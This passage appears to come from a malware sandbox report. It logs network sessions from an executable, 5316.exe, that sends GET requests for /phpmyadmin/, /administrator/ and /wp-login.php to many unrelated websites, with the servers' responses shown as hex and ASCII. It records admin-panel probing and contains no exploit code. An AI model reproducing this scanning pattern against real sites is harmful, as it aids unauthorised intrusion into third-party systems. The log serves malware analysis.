src="//static.parastorage.com/services/wix-public/1.719
2023-12-20 02:13:25 UTC	271	IN	Data Raw: 72 72 65 64 3c 2f 68 31 3e 0a 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 6e 6f 6e 2d 61 6e 67 75 6c 61 72 2d 73 75 70 70 6f 72 74 65 64 2d 62 72 6f 77 73 65 72 2d 6c 69 6e 6b 22 3e 0a 20 20 20 20 20 20 3c 73 70 61 6e 3e 52 65 67 61 72 64 6c 65 73 73 2c 20 77 65 20 72 65 63 6f 6d 6d 65 6e 64 20 79 6f 75 20 74 6f 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 62 72 6f 77 73 65 68 61 70 70 79 2e 63 6f 6d 2f 22 3e 75 70 64 61 74 65 20 79 6f 75 72 20 62 72 6f 77 73 65 72 2e 3c 2f 61 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 21 2d 2d 20 76 65 72 69 66 69 63 61 74 69 6f 6e 20 2d 2d 3e 0a 3c 21 2d 2d 20 65 6e 64 20 76 65 72 69 66 69 63 61 74 69 6f 6e 20 2d 2d 3e 0a 3c 2f 62 6f 64 79 3e Data Ascii: rred</h1> <div class="non-angular-supported-browser-link"> <span>Regardless, we recommend you to <a href="http://browsehappy.com/">update your browser.</a></span> </div> </div></div>... verification -->... end verification --></body>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
124	192.168.2.4	56401	77.72.0.94	443	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:25 UTC	176	OUT	GET /phpmyadmin/ HTTP/1.1 Host: lunarrastar.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:26 UTC	434	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 1238 date: Wed, 20 Dec 2023 02:13:25 GMT server: LiteSpeed vary: User-Agent alt-svc: h3=":443"; ma=2592000, h3-29=":443"; ma=2592000, h3-Q050=":443"; ma=2592000, h3-Q046=":443"; ma=2592000, h3-Q043=":443"; ma=2592000, quic=":443"; ma=2592000; v="43,46"
2023-12-20 02:13:26 UTC	934	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, s
2023-12-20 02:13:26 UTC	304	IN	Data Raw: 35 2c 20 30 2e 33 29 20 69 6e 73 65 74 3b 22 3e 0a 3c 62 72 3e 50 72 6f 75 64 6c 79 20 70 6f 77 65 72 65 64 20 62 79 20 20 3c 61 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 23 66 66 66 3b 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 6c 69 74 65 73 70 65 65 64 74 65 63 68 2e 63 6f 6d 2f 65 72 72 6f 72 2d 70 61 67 65 22 3e 4c 69 74 65 53 70 65 65 64 20 57 65 62 20 53 65 72 76 65 72 3c 2f 61 3e 3c 70 3e 50 6c 65 61 73 65 20 62 65 20 61 64 76 69 73 65 64 20 74 68 61 74 20 4c 69 74 65 53 70 65 65 64 20 54 65 63 68 6e 6f 6c 6f 67 69 65 73 20 49 6e 63 2e 20 69 73 20 6e 6f 74 20 61 20 77 65 62 20 68 6f 73 74 69 6e 67 20 63 6f 6d 70 61 6e 79 20 61 6e 64 2c 20 61 73 20 73 75 63 68 2c 20 68 61 73 20 6e 6f 20 63 6f 6e 74 72 6f 6c 20 6f 76 65 72 20 63 6f 6e Data Ascii: 5, 0.3) inset;"><br>Proudly powered by <a style="color:#fff;" href="http://www.litespeedtech.com/error-page">LiteSpeed Web Server</a><p>Please be advised that LiteSpeed Technologies Inc. is not a web hosting company and, as such, has no control over con

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
125	192.168.2.4	56485	15.197.192.55	443	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:25 UTC	386	OUT	GET /phpmyadmin/ HTTP/1.1 Host: wethepros.com Accept: / Accept-Encoding: deflate, gzip Cookie: expiry_partner=dynadot.ExpiredParking.9CC26559-5E11-4B25-8CC2-E5B51E33A42F; caf_ipaddr=102.129.152.212; _policy={"restricted_market":false,"tracking_market":"implicit"}; country=US; city="Los%20Angeles" User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:25 UTC	893	IN	HTTP/1.1 200 OK Server: openresty Date: Wed, 20 Dec 2023 02:13:25 GMT Content-Type: text/html Content-Length: 1543 Last-Modified: Wed, 13 Dec 2023 20:27:48 GMT Connection: close ETag: "657a13c4-607" X-Adblock-Key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAJRmzcpTevQqkWn6dJuX/N/Hxl7YxbOwy8+73ijqYSQEN+WGxrruAKtZtliWC86+ewQ0msW1W8psOFL/b00zWqsCAwEAAQ_aSkPFkxmzUlVP6cwBAaOQAor74twAihM+ajCyoU3bkDoXAWzEHrth/dHCVPz2/BuUnsSJOasXk1nS0JHNSHamA Cache-Control: no-cache X-Content-Type-Options: nosniff Set-Cookie: caf_ipaddr=102.129.152.212;Path=/;Max-Age=86400; Set-Cookie: country=US;Path=/;Max-Age=86400; Set-Cookie: city="Los%20Angeles";Path=/;Max-Age=86400; Set-Cookie: expiry_partner=dynadot.ExpiredParking.9CC26559-5E11-4B25-8CC2-E5B51E33A42F;Path=/;Max-Age=86400; Set-Cookie: _policy={"restricted_market":false,"tracking_market":"implicit"};Path=/;Max-Age=86400; Accept-Ranges: bytes
2023-12-20 02:13:25 UTC	1543	IN	Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 2f 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 2f 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 64 61 74 61 3a 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 3b 2c 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 2f 3e 3c 74 69 74 6c 65 3e 3c 2f Data Ascii: <!doctype html><html lang="en"><head><meta http-equiv="content-type" content="text/html;charset=utf-8"/><meta name="viewport" content="width=device-width,initial-scale=1"/><link rel="shortcut icon" href="data:image/x-icon;," type="image/x-icon"/><title></

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
126	192.168.2.4	56611	205.178.187.19	443	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:25 UTC	210	OUT	GET /en_US/whois-suspension-netsol.jsp HTTP/1.0 Host: www.registrar-transfers.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:25 UTC	588	IN	HTTP/1.1 500 Internal Server Error Date: Wed, 20 Dec 2023 02:13:25 GMT Content-Type: text/html;charset=ISO-8859-1 Content-Length: 2070 Connection: close Set-Cookie: ingressnginxpublicuis=93764522fe363817a99449c2a4086039\|66dc1766ccc35020769d07d4468e07d7; Expires=Wed, 20-Dec-23 02:43:25 GMT; Max-Age=1800; Path=/; Secure; HttpOnly set-cookie: JSESSIONID=18DFD6E6CDA9709BDAD68920BF6D73FC; Path=/; HttpOnly x-envoy-upstream-service-time: 1 x-envoy-decorator-operation: transfer-auth.domains.svc.cluster.local:8080/* Strict-Transport-Security: max-age=15724800; includeSubDomains
2023-12-20 02:13:25 UTC	2070	IN	Data Raw: 0d 0a 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 3e 0d 0a 3c 21 2d 2d 20 25 54 43 2d 49 4e 46 4f 25 20 2d 2d 3e 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 41 75 74 68 6f 72 69 7a 61 74 69 6f 6e 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 68 74 74 70 2d 65 71 75 69 76 3d 63 6f 6e 74 65 6e 74 2d 74 79 70 65 3e 0d 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 73 65 61 6c 73 2e 6e 65 74 77 Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">... %TC-INFO% --><html><head><title>Authorization</title><meta content="text/html; charset=UTF-8" http-equiv=content-type><script type="text/javascript" src="https://seals.netw

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
127	192.168.2.4	56664	65.8.178.81	443	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:25 UTC	190	OUT	GET /administrator/ HTTP/1.1 Host: www.atelcommunications.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:26 UTC	1761	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Date: Wed, 20 Dec 2023 02:13:26 GMT Cache-Control: public, max-age=31536000 access-control-allow-origin: * access-control-allow-methods: GET, POST, OPTIONS access-control-allow-headers: Content-Type content-security-policy-report-only: default-src 'self' *.a8b.co strict-transport-security: max-age=31536000; includeSubDomains referrer-policy: strict-origin-when-cross-origin permissions-policy: accelerometer=(self), ambient-light-sensor=(self), autoplay=(self), battery=(self), camera=(self), cross-origin-isolated=(self), display-capture=(self), document-domain=(self), encrypted-media=(self), execution-while-not-rendered=(self), execution-while-out-of-viewport=(self), fullscreen=(self), geolocation=(self), gyroscope=(self), keyboard-map=(self), magnetometer=(self), microphone=(self), midi=(self), navigation-override=(self), payment=(self), picture-in-picture=(self), publickey-credentials-get=(self), screen-wake-lock=(self), sync-xhr=(self), usb=(self), web-share=(self), xr-spatial-tracking=(self), clipboard-read=(self), clipboard-write=(self), gamepad=(self), speaker-selection=(self), conversion-measurement=(self), focus-without-user-activation=(self), hid=(self), idle-detection=(self), interest-cohort=(self), serial=(self), sync-script=(self), trust-token-redemption=(self), unload=(self), window-management=(self), vertical-scroll=(self) x-frame-options: SAMEORIGIN x-content-type-options: nosniff Vary: Accept-Encoding X-Cache: Error from cloudfront Via: 1.1 6fc0aea2429e74e0c91886621936d56a.cloudfront.net (CloudFront) X-Amz-Cf-Pop: MIA3-C4 X-Amz-Cf-Id: fSYiQJGVwkSajfBoE2Jv_9NbyWOFc_SRpG0fsc3300PyU6pxzYCwaQ==
2023-12-20 02:13:26 UTC	11586	IN	Data Raw: 32 64 33 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 61 6a 61 78 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 22 20 2f 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 6f 64 65 2e 61 38 62 2e 63 6f 2f 22 20 2f 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 6c 6f 61 64 22 20 61 73 3d 22 69 6d 61 67 65 22 20 68 72 65 66 3d 22 2f 69 6d 61 67 65 73 2f 6c 6f 67 6f 2e 70 6e 67 22 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 Data Ascii: 2d3a<!DOCTYPE html><html lang="en"><head> <link rel="preconnect" href="https://ajax.googleapis.com" /> <link rel="preconnect" href="https://code.a8b.co/" /> <link rel="preload" as="image" href="/images/logo.png"> <link rel="preconnect
2023-12-20 02:13:26 UTC	5792	IN	Data Raw: 31 36 39 38 0d 0a 65 2e 6d 69 6e 2e 6a 73 27 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 24 28 27 2e 63 61 72 6f 75 73 65 6c 27 29 2e 63 79 63 6c 65 28 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 29 3b 20 2f 2f 68 65 61 64 2e 6c 6f 61 64 0a 0a 20 20 20 20 20 20 20 20 68 65 61 64 2e 72 65 61 64 79 28 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 24 28 27 61 5b 68 72 65 66 3d 22 23 22 5d 2c 2e 70 6f 73 74 3e 68 31 3e 61 27 29 2e 63 6c 69 63 6b 28 66 75 6e 63 74 69 6f 6e 20 28 65 76 65 6e 74 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 65 76 65 6e 74 2e 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 28 29 3b 0a 20 20 20 20 20 Data Ascii: 1698e.min.js', function () { $('.carousel').cycle(); }); //head.load head.ready(function () { $('a[href="#"],.post>h1>a').click(function (event) { event.preventDefault();
2023-12-20 02:13:26 UTC	6675	IN	Data Raw: 31 61 30 62 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 75 6c 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 6c 69 3e 3c 61 20 68 72 65 66 3d 22 2f 61 62 6f 75 74 2f 77 68 79 2d 61 74 65 6c 22 3e 57 68 79 20 41 54 45 4c 3f 3c 2f 61 3e 3c 2f 6c 69 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 6c 69 3e 3c 61 20 68 72 65 66 3d 22 2f 61 62 6f 75 74 2f 6d 65 65 74 2d 6f 75 72 2d 74 65 61 6d 22 3e 4d 65 65 74 20 4f 75 72 20 54 65 61 6d 3c 2f 61 3e 3c 2f 6c 69 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 6c 69 3e 3c 61 20 68 72 65 66 3d 22 2f 61 62 6f 75 74 2f 74 65 73 74 69 6d 6f 6e 69 61 6c 73 22 3e 54 65 73 74 69 6d 6f 6e 69 61 6c 73 3c 2f 61 3e 3c 2f 6c 69 3e 0a 20 20 20 20 20 20 20 20 20 Data Ascii: 1a0b <ul> <li><a href="/about/why-atel">Why ATEL?</a></li> <li><a href="/about/meet-our-team">Meet Our Team</a></li> <li><a href="/about/testimonials">Testimonials</a></li>
2023-12-20 02:13:26 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
128	192.168.2.4	56546	77.72.0.94	443	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:25 UTC	237	OUT	GET /administrator/index.php HTTP/1.1 Host: lunarrastar.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: https://lunarrastar.com/administrator/
2023-12-20 02:13:26 UTC	434	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 1238 date: Wed, 20 Dec 2023 02:13:26 GMT server: LiteSpeed vary: User-Agent alt-svc: h3=":443"; ma=2592000, h3-29=":443"; ma=2592000, h3-Q050=":443"; ma=2592000, h3-Q046=":443"; ma=2592000, h3-Q043=":443"; ma=2592000, quic=":443"; ma=2592000; v="43,46"
2023-12-20 02:13:26 UTC	934	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, s
2023-12-20 02:13:26 UTC	304	IN	Data Raw: 35 2c 20 30 2e 33 29 20 69 6e 73 65 74 3b 22 3e 0a 3c 62 72 3e 50 72 6f 75 64 6c 79 20 70 6f 77 65 72 65 64 20 62 79 20 20 3c 61 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 23 66 66 66 3b 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 6c 69 74 65 73 70 65 65 64 74 65 63 68 2e 63 6f 6d 2f 65 72 72 6f 72 2d 70 61 67 65 22 3e 4c 69 74 65 53 70 65 65 64 20 57 65 62 20 53 65 72 76 65 72 3c 2f 61 3e 3c 70 3e 50 6c 65 61 73 65 20 62 65 20 61 64 76 69 73 65 64 20 74 68 61 74 20 4c 69 74 65 53 70 65 65 64 20 54 65 63 68 6e 6f 6c 6f 67 69 65 73 20 49 6e 63 2e 20 69 73 20 6e 6f 74 20 61 20 77 65 62 20 68 6f 73 74 69 6e 67 20 63 6f 6d 70 61 6e 79 20 61 6e 64 2c 20 61 73 20 73 75 63 68 2c 20 68 61 73 20 6e 6f 20 63 6f 6e 74 72 6f 6c 20 6f 76 65 72 20 63 6f 6e Data Ascii: 5, 0.3) inset;"><br>Proudly powered by <a style="color:#fff;" href="http://www.litespeedtech.com/error-page">LiteSpeed Web Server</a><p>Please be advised that LiteSpeed Technologies Inc. is not a web hosting company and, as such, has no control over con

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
129	192.168.2.4	56615	13.248.169.48	443	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:25 UTC	333	OUT	GET /wp-login.php HTTP/1.1 Host: filmboxstudios.com Accept: / Accept-Encoding: deflate, gzip Cookie: expiry_partner=; caf_ipaddr=102.129.152.212; _policy={"restricted_market":false,"tracking_market":"implicit"}; country=US; city="Los%20Angeles" User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:26 UTC	836	IN	HTTP/1.1 200 OK Server: openresty Date: Wed, 20 Dec 2023 02:13:25 GMT Content-Type: text/html Content-Length: 12976 Last-Modified: Wed, 13 Dec 2023 20:27:43 GMT Connection: close ETag: "657a13bf-32b0" X-Adblock-Key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAJRmzcpTevQqkWn6dJuX/N/Hxl7YxbOwy8+73ijqYSQEN+WGxrruAKtZtliWC86+ewQ0msW1W8psOFL/b00zWqsCAwEAAQ_Mx0S+t1mT/st4wxfDfBx0EgOh9/lNSr4kxxBYKlTmrMx9/zIHJT628Evk7nL5IETGIC6aIc6xT7rCJhoOIlPoQ Cache-Control: no-cache X-Content-Type-Options: nosniff Set-Cookie: caf_ipaddr=102.129.152.212;Path=/;Max-Age=86400; Set-Cookie: country=US;Path=/;Max-Age=86400; Set-Cookie: city="Los%20Angeles";Path=/;Max-Age=86400; Set-Cookie: expiry_partner=;Path=/;Max-Age=86400; Set-Cookie: _policy={"restricted_market":false,"tracking_market":"implicit"};Path=/;Max-Age=86400; Accept-Ranges: bytes
2023-12-20 02:13:26 UTC	12976	IN	Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 2f 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 2f 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 64 61 74 61 3a 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 3b 2c 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 2f 3e 3c 74 69 74 6c 65 3e 3c 2f Data Ascii: <!doctype html><html lang="en"><head><meta http-equiv="content-type" content="text/html;charset=utf-8"/><meta name="viewport" content="width=device-width,initial-scale=1"/><link rel="shortcut icon" href="data:image/x-icon;," type="image/x-icon"/><title></

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
130	192.168.2.4	56613	15.197.192.55	443	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:25 UTC	389	OUT	GET /administrator/ HTTP/1.1 Host: wethepros.com Accept: / Accept-Encoding: deflate, gzip Cookie: expiry_partner=dynadot.ExpiredParking.9CC26559-5E11-4B25-8CC2-E5B51E33A42F; caf_ipaddr=102.129.152.212; _policy={"restricted_market":false,"tracking_market":"implicit"}; country=US; city="Los%20Angeles" User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:26 UTC	893	IN	HTTP/1.1 200 OK Server: openresty Date: Wed, 20 Dec 2023 02:13:25 GMT Content-Type: text/html Content-Length: 1543 Last-Modified: Wed, 13 Dec 2023 20:27:48 GMT Connection: close ETag: "657a13c4-607" X-Adblock-Key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAJRmzcpTevQqkWn6dJuX/N/Hxl7YxbOwy8+73ijqYSQEN+WGxrruAKtZtliWC86+ewQ0msW1W8psOFL/b00zWqsCAwEAAQ_dXhFoAIgfTxIBjAyr7fhXY7dB5gR5D2zUQUXGqLRGp3fT2yr3kQyMOcbmI9pubRyJ+eN9FYKwpR463HBelPVsg Cache-Control: no-cache X-Content-Type-Options: nosniff Set-Cookie: caf_ipaddr=102.129.152.212;Path=/;Max-Age=86400; Set-Cookie: country=US;Path=/;Max-Age=86400; Set-Cookie: city="Los%20Angeles";Path=/;Max-Age=86400; Set-Cookie: expiry_partner=dynadot.ExpiredParking.9CC26559-5E11-4B25-8CC2-E5B51E33A42F;Path=/;Max-Age=86400; Set-Cookie: _policy={"restricted_market":false,"tracking_market":"implicit"};Path=/;Max-Age=86400; Accept-Ranges: bytes
2023-12-20 02:13:26 UTC	1543	IN	Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 2f 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 2f 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 64 61 74 61 3a 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 3b 2c 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 2f 3e 3c 74 69 74 6c 65 3e 3c 2f Data Ascii: <!doctype html><html lang="en"><head><meta http-equiv="content-type" content="text/html;charset=utf-8"/><meta name="viewport" content="width=device-width,initial-scale=1"/><link rel="shortcut icon" href="data:image/x-icon;," type="image/x-icon"/><title></

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
131	192.168.2.4	56725	162.159.134.42	443	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:25 UTC	239	OUT	GET /administrator/index.php HTTP/1.1 Host: directa-plus.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: https://directa-plus.com/administrator/
2023-12-20 02:13:26 UTC	891	IN	HTTP/1.1 520 Date: Wed, 20 Dec 2023 02:13:26 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 7189 Connection: close CF-Ray: 83845db57fb9749a-MIA Cache-Control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Expires: Thu, 01 Jan 1970 00:00:01 GMT ki-cache-type: None Ki-CF-Cache-Status: BYPASS ki-edge: v=20.2.5;mv=3.0.1 ki-origin: g1p Referrer-Policy: same-origin X-Content-Type-Options: nosniff X-Edge-Location-Klb: 1 X-Frame-Options: SAMEORIGIN Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=t06V8H0LoKaAE9A2DaG%2Fb5OCMTYXlz8gWcXcZHc2H4olw4EpyfdXcwN0V8jPYFbCLm1OPm6Aoay72sAKNbvBaER8XFI5TKNyt3TqMG%2BY2zdGhr%2BJUFfPpfOUvL2aXe1EIDk%3D"}],"group":"cf-nel","max_age":604800} NEL: 